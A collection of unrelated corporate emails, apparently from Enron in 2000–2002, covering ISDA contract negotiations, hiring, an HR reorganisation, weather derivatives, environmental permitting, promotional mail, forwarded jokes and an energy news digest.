quickly.  Though, I'm surprised u guys are open for business today.

Sent: Friday, April 13, 2001 9:41 AM
To: YYaish@exchange.ml.com
Subject: RE: ISDA Schedule/Paragraph 13

Yair:

I've left a message with Tracy Ngo (in Portland) and will let you know as
soon as I hear from her.  How long will you be in the office today?

                    "Yaish, Yair
                    (OGC)"                To:     
                    <YYaish@exchan        cc:
                    ge.ml.com>            Subject:     RE: ISDA 
Schedule/Paragraph 13

                    04/13/2001
                    08:28 AM

Sara, Allegheny would like to be able to assign to affilaites in the same
manner that we are allowing Enron to make an ssignment so long as the Gty
goes along.  In our case, however, there is no gty, hence the stipualtion
that such assignment must be to an entity with an equal or better credit
rating.  If you wish, I can limit such assignment to an entity rated at
least BBB+ or better.  Would that resolve your concerns?

Sent: Thursday, April 12, 2001 12:26 PM

Yair:

It's a good thing you didn't try to get back to me!  Sorrry.

(See attached file: AlleghenyCPformacceptR1.DOC)

                    (OGC)"                To:
                    ge.ml.com>            Subject:     RE: ISDA

                    04/12/2001
                    10:16 AM

Sara, sorry i didn't get back to you yesterday, I was out sick.  I didn't
notice anything attached, did u send a subsequent e-mail?

Sent: Wednesday, April 11, 2001 4:01 PM
Cc: Tracy.Ngo@enron.com

Yair:

Attached is my redline.  Call me so that we can discuss the remaining
issues, including:

(1)  Calculation Agent.  We believe that the existing dispute mechanism is
adequate.

(2)  Procedures for Entering into Transactions.  There is no procedure for
dual confirms.  This is too confusing.

(3)  Transfer.  We cannot agree to your assignment provision as it is too
subjective.

The other changes were not substantive.

                    (OGC)"                To:

                    04/10/2001
                    07:46 AM

Sara, any thoughts on my comments ISDA I sent out last week?

From: Yaish, Yair (OGC)
Sent: Thursday, April 05, 2001 6:19 PM
To: 'Sara.Shackleton@enron.com'

Sara, I have good news, I think we are very close to executing this baby.

I am attahcing comments to the ISDA.  They reflect comments by our outside
cousel which highlight the differences between this contract and the side
letter/ML ISDA.  They are not much.  I have also made some changes directly
on their draft where I either concurred with Enron or needed to make some
of my own changes.  Pls review and let me know what you think.

I will be leaving the office soon, so if we can wrap it up tomorrow that
would be great (I'm out Monday for Passover).

Yair Yaish
Director and Senior Counsel
Allegheny Energy Global Markets, LLC
212-236-7346

Sent: Friday, March 30, 2001 4:10 PM
To: yyaish@exchange.ml.com
Subject: ISDA Schedule/Paragraph 13

Yair:

Attached is a blacklined (against the Enron North America Corp. draft of
3/15/01) Schedule and Paragraph 13 to the ISDA Credit Support Annex.  I
have tried to incorporate the essence of the March 19, 2001 "swap side
letter agreement."  Please call me to discuss as it would be nice to
finalize by April 6.  Thanks.

(See attached file: 098a Blackline ctr (Allegheny Energy Supply).doc)

Jeff,

I wanted to give you an update on George's start date.  He is finishing up a 
project currently, and is looking at February 19th as a start date.  However, 
he feels that there is a strong possibility that he will finish earlty and be 
able to start on Feb. 12th.  I will keep you updated.

Thanks,

Errol
---------------------- Forwarded by Errol McLaughlin/Corp/Enron on 01/31/2001 
02:51 PM ---------------------------

	George Huan @ EES
	01/31/2001 08:59 AM
	
cc:  

Subject: Re: Start Date  

Hi, Errol:

I am doing great because I am going to join your group soon.  

I have a project in hand.  It was expected to be finished by mid Feburary and 
my current unit would let me go on Feb. 19.  
I am pushing hard to finish this project by the end of next week.  But I 
cannot guarantee it now.  Later this week I will have a better idea of 
whether I could report to you on Feb. 12.  Do you think this is OK?

I look forward working with you soon!  Have a great day!

George Huan
5X3698

Errol McLaughlin@ENRON
01/30/2001 03:31 PM
To: George Huan/HOU/EES@EES
cc:  
Subject: Start Date

George,

How are you doing.  Well, I hope.  Could you just give me a quick shout and 
let me know when you think you will be able to start in our group.

Thanks,

Errol McLaughlin, X5-8274

Kim 
 
Print Julie's report for me.

From: Abramo, Caroline 
Sent: Fri 3/16/2001 11:33 AM 
To: Lavorato, John 
Cc: 
Subject: Re: NATURAL GAS OVERVIEW

John- this is not the finished copy... will get Julie to forward...

On the 4-6, I would just want you to meet the key funds... Tudor, Catequil, Harvard, SAC Capital (and maybe Paloma) here in NY- I'd condense the meetings into a few hours around lunch/dinner to maximise your time..

It would be great if you could make it.... let me know.. I'll be in Houston next week.. will say hello..

---------------------- Forwarded by Caroline Abramo/Corp/Enron on 03/16/2001 12:17 PM ---------------------------

From:  Julie A Gomez @ ECT                           02/22/2001 01:44 PM       
               
To:     Caroline Abramo/Corp/Enron@Enron

cc:      

Subject:        Re: NATURAL GAS OVERVIEW

Here's the latest....

This is the unabridged version - I will be getting the executive summary done by next week...

Julie  :-)

---------------------- Forwarded by Julie A Gomez/HOU/ECT on 02/22/2001 01:40 PM ---------------------------

        Enron North America Corp.

From:  Elizabeth Dees @ ENRON                           02/22/2001 11:18 AM    
               
To:     Venita Coleman/Corp/Enron@Enron

cc:     Julie A Gomez/HOU/ECT@ECT 

Subject:        Re: NATURAL GAS OVERVIEW   

Attached is the revised overview you requested; specifically, slide 15 was altered where the cash prices were moved to the appropriate production line area.  Please let me know if I can be of further assistance.

<<JG-3020188 Natural Gas Overview rev2.ppt>> 

Thank you.

Elizabeth A. Dees

Graphic Designer

image | center |

(713) 853-3515 P

(713) 646-4029 F

From:  Elizabeth Dees                           02/21/2001 03:21 PM    
               
To:     Julie A Gomez/HOU/ECT@ECT

cc:     Venita Coleman/Corp/Enron@Enron 

Subject:        NATURAL GAS OVERVIEW

Attached is the revised Natural Gas Overview presentation you requested.  Please note on slide 15, whenever the rig and production count is altered, the Henry Hub Cash Prices do not fall within the line chart.  Please advise whether you would prefer the HHCP to adjust with the line, and if so, indicate placement since most of the dollar values are below the line.

Please let me know if I can be of further assistance.

Thank you.

(713) 646-4029F

We're getting a lot of inquiries about Enron's role in California's de-reg 
history, with a lot of misinformation arising out of Peace's handywork.  

I spent about 3 hours on Friday with a Sac Bee reporter (Dale Kasler).  He'll 
be interviewing Skilling on the same topic in a week or so, and he'd like to 
talk to Steve, too.  

Sue spent time with a NYT reporter discussing the same. Some common themes 
are arising in the questions.  Thought it would be a good idea to spend 30 
minutes discussing those themes and developing our messages to ensure 
consistency.  If folks think it would be useful, is there a time this week 
that we could squeeze in 30 minutes?  Thanks.

Best,
Jeff

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---------------------- Forwarded by Sandra F Brawner/HOU/ECT on 08/17/2000 

John Craig Taylor
08/16/2000 11:18 AM
To: Sandra F Brawner/HOU/ECT@ECT
cc:  
Subject: blondes

---------------------- Forwarded by John Craig Taylor/HOU/ECT on 08/16/2000 
11:17 AM ---------------------------

To: Farzad Farhangnia/HOU/ECT@ECT, Susan W Pereira/HOU/ECT@ECT, Andrea 
Ring/HOU/ECT@ECT, Scott Loving/NA/Enron@ENRON
cc:  

>> > A ventriloquist was in a small club in a small town
>> > in Arkansas.  With
>> > his dummy on his knee, he's going through his usual
>> > dumb blonde jokes
>> > when a blonde woman in the 4th row stands on her
>> > chair and starts
>> > shouting:"I've heard enough of your stupid blonde
>> > jokes. What makes you
>> > think you can stereotype women that way. What does
>> > the color of a
>> > person's hair have to do with her worth as a human
>> > being? It's guys like
>> > you who keep women like me from being respected at
>> > work and in the
>> > community and from reaching our full potential as a
>> > person... because
>> > you and your kind continue to perpetuate
>> > discrimination against, not
>> > only blondes, but women in general...and all in the
>> > name of humor!"
>> >
>> > The ventriloquist is embarrassed and begins to
>> > apologize, when the
>> > blonde yells, "You stay out of this, mister! I'm
>> > talking to that little
>> > bastard on your knee!"
>>
>>
>
>

Sean Maloney has sent you an Evite Invite!

http://www.evite.com/r?iid=FAPMEKTHNQKSBVWELTMU

This Evite Invite is covered by Evite's privacy policy*. 
http://www.evite.com/privacy

workin' for the weekend worth it. 
http://weekend.citysearch.com?cslink=nsltr-evite-invite 

browser. 

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ine-height: normal; font-weight: bold; color: #FFFFFF; text-decoration: non=
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 {  font-family: Arial; font-size: 8pt; font-style: normal; line-height: no=
rmal; font-weight: normal; color: #000000; text-decoration: none} .name {  =
font-family: Arial; font-size: 14pt; font-style: normal; line-height: norma=
l; font-weight: bold; color: #000000; text-decoration: none} .exclusive {  =
FONT-WEIGHT: bold; FONT-SIZE: 9pt; COLOR: #FF0000; LINE-HEIGHT: normal; FON=
T-STYLE: normal; FONT-FAMILY: Arial; TEXT-DECORATION: none} .letter02 {  fo=
nt-family: Arial, Helvetica, sans-serif; font-size: 12px; font-style: itali=
c; line-height: normal; font-weight: normal; color: #000000; text-decoratio=
n: none}   [IMAGE]  Make Valentine's Day as timeless as your love!       A =
special offer from Domestications featured below  Jewelry  Flowers  Sweets =
 Plants  Plush    Dear Charles,  Dazzle that extra-special Valentine and SA=
VE  $10* on select fine jewelry .  The gift prices have already been reduce=
d to reflect  the savings! You can also find gifts for everyone  who holds =
a special place in your heart in our  Valentine's Day Gift Center .  Whethe=
r they love beautiful flowers ,  tempting sweets , cuddly plush   or bloomi=
ng plants , we can make  your Cupid connection.   Don't miss your chance to=
 win! Enter our "Hand  us a line for your Valentine(sm) " contest  for a ch=
ance to win a dream Caribbean vacation  and other fabulous prizes. The cont=
est ends on  Wednesday, February 6, 2002, so get in  the mood and do the wr=
ite thing! Visit  our web site for complete contest details.   From your fr=
iends at 1-800-FLOWERS.COM
  Call 1-800-FLOWERS
 (1-800-356-9377), Click  (www.1800flowers.com) or Come in!  AOL Keyword: 1=
800flowers   Offer valid through 2/09/02.   This email was sent to CHUCK.RA=
NDALL@ENRON.COM       Register  Now & Member Benefits  Personalized  Greeti=
ngs  Gift  Certificates    Remove  Me  Contact  Us  Security  & Privacy  Di=
sclaimer * Store  Locator    [IMAGE]  *A  $4.99 to $18.99 value. Offer only=
 applicable towards new orders  shipped in the continental US only. For res=
idents of Puerto  Rico, Alaska, and Hawaii, this offer does not include the=
 additional  $12.50 fee. This is a limited-time offer. Sorry, this offer  c=
annot be combined with other promotions or club discounts and  does not app=
ly to express, heavyweight, or additional address  charges. Offer expires a=
t 11:59 p.m. ET 02/10/02.   =09

The views expressed below are not those of Enron Corp. or any of it's 
subsidiaries.

---------------------- Forwarded by Susan M Scott/HOU/ECT on 03/28/2000 11:59 

Purvi Patel
03/28/2000 11:17 AM
To: Kori Loibl/HOU/ECT@ECT, Errol McLaughlin/Corp/Enron@ENRON, JD 
Buss/HOU/ECT@ECT, Monique Sanchez/HOU/ECT@ECT, Susan M Scott/HOU/ECT@ECT, 
Dutch Quigley/HOU/ECT@ECT, Laura Vargas/Corp/Enron@ENRON, Burton 
McIntyre/HOU/ECT@ECT
cc:  
Subject: The life of an egg....

This is Funny...
---------------------- Forwarded by Purvi Patel/HOU/ECT on 03/28/2000 11:15 

Sheetal Patel
03/28/2000 11:12 AM
To: Michael Kolman/HOU/ECT@ECT, Purvi Patel/HOU/ECT@ECT, Sheetal 
Patel/HOU/ECT@ECT, Alicia Perkins/HOU/ECT@ECT, Justin Rostant/HOU/ECT@ECT, 
Jennifer Reside/HOU/ECT@ECT, Heather Alon/HOU/ECT@ECT, Simone La 
Rose/HOU/ECT@ECT, Otis Wathington/HOU/EES@EES, Mason Hamlin/HOU/ECT@ECT, 
jmorace@tctcompanies.com, msergides@powermerchants.com
cc:  

hey guys, hope u have a good one...sheetal :)

 - egges.exe

In the past few months, Enron has received numerous requests from other=20
companies to share some of the processes and systems that we have developed=
=20
within HR.  Also, several new businesses have been created recently by=20
consulting companies to pursue what some financial analysts believe is a hu=
ge=20
untapped market in aggregating HR services.  Recently, we completed an=20
internal review to consider what role Enron could play in this arena and ha=
ve=20
decided to explore some very specific external opportunities.  Due to the=
=20
time commitment required to pursue these opportunities, we are assigning=20
dedicated resources to this effort.  Effective immediately, the HR communit=
y=20
will have three major areas of focus that will be working together in order=
=20
to optimize HR transformation and commercialization.  Taking the lead roles=
=20
will be myself, Mary Joyce and David Oxley (see below and attached chart).

? I will lead this new effort in addition to continuing to lead those areas=
=20
of HR that are our prime candidates for commercial opportunities.  Reportin=
g=20
to me on this commercialization effort will be:  Brad Coleman with the=20
overall lead; Andrea Yowman who will focus on software applications such as=
=20
PEP, Expertfinder and Global Compensation; Sarah Davis who will focus on=20
Worklife; Elyse Kalmans who will focus on Community Relations; Cynthia Barr=
ow=20
who will focus on Benefits and Wellness; and Yevgeny Frolov and Dan Brown w=
ho=20
will focus on E-learning and Talent Management.  I will continue to report =
to=20
Steve Kean.

? David Oxley will take the overall lead for HR across all business units=
=20
focusing on continuing to increase the value HR brings internally to Enron.=
 =20
The networked recruiting, Organization Development and Training and Busines=
s=20
Unit Compensation consulting functions, the Global PEP team, as well as the=
=20
generalist consulting responsibilities for all Corp. groups, will report=20
directly to David. The HR leads for EWS, EES, EBS, ETS and EGAS will report=
=20
jointly to their business unit OTC=01,s and to David from a functional HR=
=20
perspective. In this regard David will now report to Steve Kean.

? Mary Joyce will add Global Information Management, Corporate Compensation=
=20
services and Reporting/ Analysis, to her current Executive Compensation=20
responsibilities.  Kathy Schultea, Felecia Acevedo, Cindy Ward and Suzanne=
=20
Brown will report into Mary=01,s organization. Mary will continue to report=
 to=20

? With Drew Lynch=01,s promotion to COO Metals and David=01,s increased=20
responsibilities, Robert Jones will take the HR lead for EWS Americas. Robe=
rt=20
will report to the EWS OTC. Jon Chapman has been appointed head of HR for=
=20
EEL, based in London, and will report to the EEL OTC. Both Robert and Jon=
=20
will report to David from a functional HR perspective.

Additional realignment of resources will enable our team to further improve=
=20
daily employee services, partner with Business Unit initiatives and maximiz=
e=20
opportunities for commercialization.  These modifications are as follows: =
=20

? Scott Gilchrist will lead HR for the newly formed EGAS.  As such he will=
=20
focus his attention on the asset positions in South America, Latin and=20
Central America, the Middle East and Asia.  The European assets will contin=
ue=20
to be a part of EEL.  Scott will also work closely with Rebecca McDonald an=
d=20
Sandip Mallick in relation to our assets in India.  Scott will report to th=
e=20
EGAS OTC, Rebecca McDonald and David as above.

? Michelle Cash has agreed to take the lead of the Corporate OLER function=
=20
for an interim period to determine how it should operate and be organized. =
=20
She will report to me for this particular function, but of course will rema=
in=20
primarily a part of the EWS legal function reporting to Mark Haedicke. =20

? Sheila Walton will lead the HR Generalist activities for all Corp=20
functions.  Jo Ann Hill, and all of the corporate generalist functions=20
currently under Jo Ann, will report to Sheila Walton.  Sheila will continue=
=20
to report to David.

? Sarah Davis will add the Click at Home program to her current=20
responsibilities, and will continue to report to me.

Just wanted to thank everybody who works with Mobil Beaumont Refinery.

Our former three year deal with them expired September 30.  Last week, we 
(finally) executed a new contract that keeps HPL as their largest natural gas 
supplier through September 30, 2002.  Also, when their volumes go up in early 
2001, they will once again be HPL's single largest industrial customer.

Everybody's hard work in keeping this customer happy has paid off.  Although 
they can be very demanding to work with (particularly now that they are part 
of Exxon), they know that HPL provides them the best overall service.

Please pass on thanks to anyone I've left off the list who has worked with 
Mobil Beaumont Refinery.

Have a great 2001.

Lee Papayoti
713-853-5923

Thank you for your email and I apologize for my delay in responding.  For 
just over a year now, we have been working with multiple areas within EES to 
develop opportunities on two fronts: 1) transferring EES's weather exposure 
into the weather derivatives market place and 2) developing products for EES 
to offer to its clients and/or that allow EES to bid more aggressively.

We are very excited about the changes that have taken place at EES and are 
hopeful that we can now begin a mutually beneficial working relationship.  As 
you will see from the attached two documents, we are actively engaged with 
Gordon Savage's group and have a number of individuals within the weather 
group who are familiar with EES.  The Harrah's opportunity originated by Ken 
Rubeli appears to have the most immediate potential to provide an EES client 
with a weather hedge. After the changes, Mallik Avs contacted us to start an 
initiative to hedge volume risk with weather derivatives.

On the weather desk, we are currently very interested in getting long Cooling 
Degree Days ("CDDs"), i.e. hot weather in southern California and the desert 
southwest.  Our currently long position there has done extremely well and we 
will be capping out on those positions shortly.  We believe that if EES were 
to directly approach the weather market place for CDD Calls or swaps you 
could obtain positions that we are unable to i.e. we would like EES to sleeve 
for the weather desk.

Again, we are excited about the new management team and structure at EES and 
look forward to an opportunity to work with you and your people.

From:  Dietrich, Janet  
Sent: Tuesday, May 15, 2001 9:32 PM
To: Tawney, Mark
Cc: Shankman, Jeffrey A.; McConnell, Mike
Subject: Weather product focus for EES

Hey Mark. I've talked with both Jeff and Mike, and everyone agrees that we 
need to ensure we can bring weather risk management and products into the EES 
distribution channel. I'd like to know how we can leverage your group, its 
knowledge and capability to maximize the opportunities we have to move 
weather products into our sales channels. 

Also, I understand we are currently working weather products into several 
deals. Harrah's Entertainment is one that is a high priority for us. Please 
let me know if I can help facilitate taking these discussions/ideas and 
turning them into executable products.

I'd appreciate your thoughts on the above items at your earliest convenience. 
Thanks!

fyi

From: 	Shafer, John  
Sent:	Tuesday, August 28, 2001 3:00 PM
To:	Campbell, Larry; Hackett, Terry
Cc:	Kendrick, William; Kilmer III, Robert; Soldano, Louis
Subject:	RE: Endangered Species Surveys, Red Rock Expansion

Larry,
Please proceed with all haste on this.  How long to complete them and submit the findings (can't believe there would be anything turn up).  No endangered plants in any of those station yards - I trust?  The EPA is reaching here, but they have the big stick and we must work through this to get the air permit.  This is a lesson's learned for the upcoming Sun Devil project.  John

From: 	Campbell, Larry  
Sent:	Monday, August 27, 2001 4:32 PM
To:	Hackett, Terry
Cc:	Shafer, John; Kendrick, William
Subject:	Re: Endangered Species Surveys, Red Rock Expansion

The issue arose when the EPA in San Francisco said they would not issue an air permit unless we had addressed all concerns relevant to the endangered species act, even on distsurbed lands at stations 3 and 4.  Even though we had received a verbal approval formt he Navajo Nation that endangered species would not be a concern by the Nation, the EPA felt otherwise.  This means that they wont give us a permit until we do a survey for plants and animals.  Because ENSR was on the list of contractors approved by the Navajo Nation, they were given the opportunity.  As you know, I have been working with Scott Patti on this and we have worked it through.  All that is left is to get the ENSR renewal permit application approved by the Nation and ENSR is off and running to do the surveys.  Terry, I know that you know all this, I just wanted to keep John and Bill in the loop on how things are progressing......

"Hackett, Terry" <THackett@ENSR.com> on 08/27/2001 11:18:31 AM
To:	"Larry Campbell (E-mail)" <Larry.Campbell@ENRON.com>
cc:	"Patti, Scott" <SPatti@ensr.com> 

Subject:	Endangered Species Surveys, Red Rock Expansion

Larry,

I understand from Scott Patti that the EPA has thrown a monkey wrench into
the air permitting process for stations 3 and 4 and are now requesting
endangered species surveys.  For simplicity, we will add this as a new task
for the Red Rock Expansion project.  The FT. Collins folks are proceeding
based on your verbal go ahead, but to make our accountants happy, I will
have to get something written authorizing the additional work.  Scott is
estimating the task to cost approximately $7,000.  Since I am listed as the
project manager on paper, I will put together a brief letter and get it to
you this week.  However, please continue to directly coordinate with Scott
and he will keep me apprised of the status.

Thanks,

Terry.

Terry L. Hackett
Senior Project Manager
ENSR International
7041 Old Wake Forest Road, Suite 103
Raleigh, NC 27616-3013
(919) 872-6600 phone
(919) 872-7996 fax

The information contained in this communication is confidential and
privileged proprietary information intended only for the individual
or entity to whom it is addressed.  Any unauthorized use, distribution,
copying or disclosure of this communication is prohibited.
If you have received this communication in error, please contact the
sender immediately.

It is our policy that e-mails are intended for and should be used for
business purposes only.

ENSR
www.ensr.com
postmaster@ensr.com

<Embedded Picture (Device Independent Bitmap)>

Hi Guys

Please see below (and in Lara's email) some of the issues we thought needed 
to be addressed in the "back to back" agreement between Enron and MG.

Possibility of indemnity from MG re counterparty credit risk being held by 
Enron (in the event that no compensation is payable)?

Please notify Edmund if there are any other issues which need to be covered 
in this document.

Regards

Amita
---------------------- Forwarded by Amita Gosalia/LON/ECT on 12/06/2000 21:32 
From: Lara Fields on 09/06/2000 17:51
To: Janine Juggins/LON/ECT@ECT
cc: Amita Gosalia/LON/ECT@ECT 

Subject: 'Sleeving Agreement' main concerns

Hi Janine,

As discussed here is our list of topics we feel the 'Sleeving' Agreement 
should cover.  We think that it should remain as broad as possible to avoid a 
delay in Legal negotiations over the finer details.

Please let us know your thoughts and we will send these up to Justin.  If you 
could please review this as soon as possible, we would appreciate it as 
Justin is out of the office next week.

Confidentiality - covering all EnronOnline applications and trading strategies
Performance of obligation to deliver / receive product
Invoices and Confirmations - confirmations for EOL deals should be processed 
by MG staff and sent out with proper Enron entity, also send confirms to Enron
Assumption of underlying position by MG - Enron fully transfers positions to 
MG
Provision of data feeds - i.e. information to the Credit Aggregation System 
and/or to the RAC value at risk system
Information provision- for Management Reporting purposes
Compensation for Credit risk taken? -  please advise if you feel this is 

Thank you!
Lara

From: "Charlie Weldon" <cweldon@houston.rr.com>
To: "Chris Thiele" <cthiele@velaw.com>; "Stayton PettyJohn"
<cbitreasury@mindspring.com>; "Paul Juneau" <juneaupw@tisd.net>; "Stayton
Weldon" <staytonweldon@dewittec.net>; "Stacey White"
<stacey.w.white@enron.com>
Sent: Tuesday, January 29, 2002 9:24 PM
Subject: Fw: Skull Mount

> Double-click on attachment to see image not so blown-up.
>
>
> From: "Weldon Laurence" <idag95@flash.net>
> To: "Bo & Allan Laurence" <bonita@cox-internet.com>; "Charlie Weldon"
> <cweldon@Houston.rr.com>
> Sent: Monday, January 28, 2002 11:02 PM
> Subject: Skull Mount
>
>
> > There are better digital pics...
> >
> >
>

 - Weldons Deer 2001.jpg 
 - Weldons Deer 2001_1.jpg 

I have not stopped thinking about you!

xxx

Craig

From: Susan.Scott@enron.com [mailto:Susan.Scott@enron.com]
Sent: Tuesday, October 17, 2000 10:12 AM
To: craigl@calpine.com
Subject:

I MISS YOU!

Shelley,
I know you are on vacation, but in case you are checking your email. We are 
to leave next Thurs. the 21st for Kaz.

Also, our dossier was moved to the matching room in China so that referral 
will come will I am gone. They are going to try to email or fax me the info.

Liz

Attached is a copy of Ormet's mark-up to the Firm Purchase/Sale Agreement 
post V.P. of Finance review.  The changes are primarily to Exhibit D.  
Additionally, there is one chage under Suspension of Performance on Appendix 
1 page "1"-3.  Finally, we need to address the collateral 
requirment/termination payment threshhold in section 4.3.
Thanks,
Mike

The United Way touches the lives of over 50% of the families on the Texas Gulf Coast.  We would like to encourage you to take a few minutes today to help those children, adults and senior citizens who need a helping hand.

Please click on https://hrglobal.enron.com/ and complete your online pledge.  You will need your GIS ID (which is your "9" number, not your "P" number) and password.  If you are not sure what your ID and password are, please go to https://ehronline.enron.com, click the "Accept" button, and then click on "Forgot your User ID or Password?"  You can also call the HRGIM Help Desk at ext. 3-5666 for assistance.

John and Louise

Thanks, if you have it i would like to see an image but doubtful that i would 
buy another now.
m

"Virginia E. Repasky" <virginia@clarkfineart.com> on 05/11/2001 05:12:17 PM
Please respond to virginia@clarkfineart.com
To: Mike.McConnell@enron.com
cc:  
Subject: Re: Your art collection

Dear Mike and Chris:

Are you still interested in collecting another Pierre Bonnard?

Virginia Repasky
Christopher-Clark Fine Art

Mike.McConnell@enron.com wrote:

> Thanks.  Not going to buy now, closing on a Bonnard.  I will have an
> interest later.
> m

---------------------- Forwarded by Simon Shih/Graphics/Enron on 01/16/2001 
From: Simon Shih on 01/16/2001 11:44 AM
cc:  

Subject: Presentaion

This Order

Agenda
01
02
03
04

Start Date: 1/31/02; HourAhead hour: 6;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002013106.txt

Update - 
---------------------- Forwarded by Kate Symes/PDX/ECT on 03/06/2001 11:53 AM 
Stephanie Piwetz   03/06/2001 11:56 AM

cc:  

Subject: Re: Confirm Letters - Grant County  

Kate, here is the latest....I have just received a copy of deals 432854.01 
and 420529.01 (unsigned by Enron, executed by Grant County)
Still need a copy of 420554.01 and 420563.01.  

Thanks
Stephanie

   Kate Symes                03/06/2001 11:07 AM

cc:  
Subject: Re: Confirm Letters - Grant County

Have you received any of these - I had notified Holli of four total missing 
confirm letters.

Kate
---------------------- Forwarded by Kate Symes/PDX/ECT on 03/06/2001 09:11 AM 
   
	From:  Holli Krebs                           03/06/2001 09:06 AM
	
cc:  

Grant said they sent the signed confirms to Houston.  Holli

Sue, Mona, Jeff.

Hi.  Attached is an outline  summary of the California gas "analogy" and 
PGE's proposed procurement options for its retail electric customers.  I 
prepared this summary to help me think about a legislative proposal for Rod 
Wright's list, item no. 6.

I have to admit I am a bit fuzzy about ARM's proposal for default utility 
procurement service.  How far off is it from PGE's propsal, which is to offer 
customers one of of several standardized commodity products?  Can you share 
anything on ARM's position with me?

Also, Enron's "Bench Product" was discussed on the call.  Do any of you have 
anything on that product?

Cheers,

Alan

Is there anything I need to work on tonight?  What is the schedule tonight?  Mark

From: Schuler, Lance (Legal) 
Sent: Monday, November 05, 2001 3:06 PM
To: Haedicke, Mark E.
Subject: Re: FW: Top Private Equity Law Firms

3 percent, around 350 million. They still want 1 billion cap on top of the 2 for litigation.

Megan,

Thanks for your interest in the Research Group. Please, call me next week 
(Tuesday
and later) and stop by. I would like to talk to you for a few minutes before 
we shall
go ahead with a formal interview.

Vince

Megan Cooper@EES
12/04/2000 04:54 PM
cc:  
Subject: Looking for someone who has experience in finance, math, 
programming, and the energy industry? (that's right, all four...)

Vince,

Following your eSpeak session, Erin Rice suggested I contact you about 
joining your group.  I have been with EES for almost three years, and during 
that time I have worked on tasks that are similar to what your group does on 
a larger scale.  Specifically, I excel at analytical/quantitative problem 
solving and the development of models and user requirements for application 
development.  My educational background is energy management, and I have 
recently become involved in the financial aspects of transactions.  I have 
attached my resume for your review, and I hope you will call me so we can 
talk in person.

Thank you.

Megan Cooper
Integrated Water Solutions Group
EES-NA
(713) 853-1461

Are we also trying to put an ISDA in place?

02/09/2000 07:50 AM
cc: Jeff Harbert/HOU/ECT@ECT 
Subject: Re: Draft Lumber Swap  

Just do it without any credit terms for now.  

02/08/2000 03:56 PM
cc:  
Subject: Draft Lumber Swap

per my voice mail
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 02/08/2000 
03:55 PM ---------------------------
   
	From:  Jeff Harbert                           02/08/2000 02:03 PM
	
To: Jarrod Cyprow

Jarrod,

Please prepare a draft ISDA swap agreement with the attached terms.  Our 
lumber group is needing this for their negotiations with Stora as soon as 
possible.
It is my understanding the two companies are getting close to finalizing the 
ISDA.
As we discussed, a template for settling lumber swaps using the CME Lumber 
contract average last 3 trading day settle will be required.
If you need anything further or need clarification of anything, please call 
me to discuss.

JH.

stories. 

ADVANCED PROJECT FINANCE COURSES

1. Exercise in Financial Analysis & Project Structuring

May 7-9, 2001 New York, NY

2. Valuation Modeling for Project Finance

May 10-11, 2001 New York, NY

Download the conference brochure at:

http://www.pmaconference.com/advpf.pdf

?

LOAD MANAGEMENT SERVICES FOR COMMERCIAL AND INDUSTRIAL CUSTOMERS

May 22-23 2001, Santa Monica, CA

http://www.pmaconference.com/loadmgmt.pdf

____________________________________________

New! Energy Jobs Weekly Download current issue at:

? 

CALIFORNIA GOVERNOR MAY BACK ENERGY FIRM'S PROPOSED POWER PLANT

Under intense pressure to increase California's energy supply, Gov. Gray 
Davis is expected to announce today his support for Calpine Corp.'s proposed 
South San Jose power plant -- a move that could ensure the state's most 
controversial power project is built.

NORTHWEST U.S. BRACES FOR SUMMER ONSLAUGHT OF ELECTRICITY CRISIS

Prices for wholesale electricity to be delivered this summer and fall are 
hitting unheard of heights, spurred upward by the Northwest drought and 
anticipation of more shortages ahead for California.

CALPINE CORP.: ENCAL ENERGY LTD. - CALPINE AND ENCAL ENERGY ANNOUNCE 
COMPLETION OF MERGER

Encal Energy Ltd. and Calpine Corporation announced that the merger of the 
two companies has been completed.

ECOWATT ANNOUNCES 20 MEGAWATT BIOMASS-FUELED POWER PLANT TARGETED FOR 
MARYLAND'S EASTERN SHORE; PLANT WILL MEET LOCAL POWER NEEDS; ANSWER WASTE 
MANAGEMENT CONCERNS AND PROVIDE LOCAL JOBS

ECOwatt, a Maryland based developer of community-based, biomass-fueled power 
projects, announces that it has selected the Eastern Shore as the site for a 
20 megawatt distributed generation power plant.

WILLIAMS ANNOUNCES PLANS TO DEVELOP POWER GENERATION FACILITY IN GEORGIA

A unit of Williams today announced plans to develop a 1,230 megawatt natural 
gas-fired power generation plant near Fairburn, Georgia.

END TO DEREGULATION OF NEVADA POWER

Gov. Kenny Guinn signed a bill Wednesday that would stop the sale of Nevada 
power plants, halt deregulation and bail out struggling utilities with a new 
rate system.

Brazil's Furnas Privatization To Include ADR Issue

Brazil/Furnas -2: Acctg Adjustments Seen Prior To Sale

US Midwest Pwr Prices Fall On Warm Weather, Light Loads

US Mid-Atlantic Pwr Prices Fall On Weather, Light Loads

Danish NEG/Order -2: To Build 88 Turbines In Spanish Deal

Enron India/Dabhol Pwr -2: Owed INR1.02B For Pwr Supplied

Enron India To Meet Dabhol Pwr Proj Lenders Apr 23

Endesa CEO -3: Seeks Active Role In European Mkts >ELE

Endesa CEO Discounts Renewed Talks With Iberdrola >EN

Endesa CEO: Asset Sales Seen Most Likely For Cash >EN

Endesa CEO: Targets Sale Of Domestic Assets This Yr >ELE

Endesa CEO -2: Sales To Finance EUR20B Europe Expansion >ELE

Taiwan Power Sees NT$2.6B Payment For Nuclear Plant Halt

Encal/Calpine-2: Swap 0.1493 Calpine Shr For 1 Encal Shr

REPEAT:Explosion Occurs At Suburban Chicago Power Plant

Explosion Occurs At Suburban Chicago Power Plant

FREE TRIAL: For a free trial of the various Dow Jones index and data 
services, go to www.dowjonesnews.com, and click "create account," or call 

Electric Power Supply Association Tells Ferc That New California ISO Board 
And Its Flawed Market Plan Must Go

Sterling Planet Launches the First 100% Green Energy Option Available to 
Every Consumer And Business in 48 Mainland States And D.C.Sterling Planet 
Makes Every Day An Earth Day

Repeats: Energy Volume And Open Interest Totals-APR 19

Southern States Power Biodiesel Production Facility Nears Completion

Nhs Urged to Greater Energy Efficiency

Calpine Corp: Encal Energy Ltd. - Calpine And Encal Energy Announce 
Completion of Merger

Infrastrux Group, a Puget Energy Subsidiary, Acquires Mid-Atlantic Pipeline 
Contractor

Energy Secretary Abraham Warns of Energy-Related Recession in World Energy 
Magazine

Silicon Valley Power Fight Continues

Thermafreeze Announces First Energy Sector Acquisition

O2micro Granted Two Power Management Patents

Calpine to Purchase 46 General Electric Gas TurbinesTurbines in Place for 
70,000-Megawatt Program

